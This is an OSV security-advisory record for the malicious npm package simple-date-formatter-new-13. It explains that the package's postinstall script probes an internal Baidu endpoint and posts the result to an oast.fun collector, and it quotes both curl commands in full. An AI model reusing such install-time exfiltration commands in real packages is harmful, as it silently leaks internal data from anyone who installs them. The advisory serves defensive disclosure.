{"id":"MAL-2026-17159","revision":"25455e78aad04591b251bec357bceb48","records":[{"revision":"25455e78aad04591b251bec357bceb48","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-17159","aliases":[],"title":"Malicious code in simple-date-formatter-new-13 (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (8f295d4208d67cbb14c8804b287109ad5ed7946e39f0256e601f846e485c6c54)\nsimple-date-formatter-new-13@1.0.0 presents itself as a date-formatting utility but ships a trivial three-line stub while its package.json postinstall script performs an SSRF probe and out-of-band exfiltration on every `npm install`. The postinstall runs `curl -v -m 3 http://bsrc-ssrf.n.baidu-int.com/6395292252 -o /tmp/bsrc.txt` against an internal Baidu network endpoint, then `curl -X POST -d \"$(cat /tmp/bsrc.txt...)\" http://pdxkwzizhzzdpzpgcieqk6d1v7ynqsgfo.oast.fun/bsrc` sends the retrieved bytes to an anonymous interactsh/oast.fun collector. The declared purpose (date formatting) has no need for install-time network I/O, and the name/behavior mismatch plus the SSRF+OAST pattern is characteristic of a dependency-confusion probe. Installers running `npm install` will silently leak whatever internal-network content the SSRF target returns to an attacker-controlled endpoint.\n","state":0,"publishedAt":"2026-09-24T13:17:05+00:00","modifiedAt":"2026-09-24T13:30:04.6072821+00:00","affected":[{"ecosystem":"npm","name":"simple-date-formatter-new-13","ranges":[],"versions":["1.0.0"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/simple-date-formatter-new-13/v/1.0.0"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-17159","license":"OSV · upstream source license applies","key":"osv:MAL-2026-17159","identifiers":["MAL-2026-17159"]},"retained":false,"historicalAffected":[]}],"coverage":[]}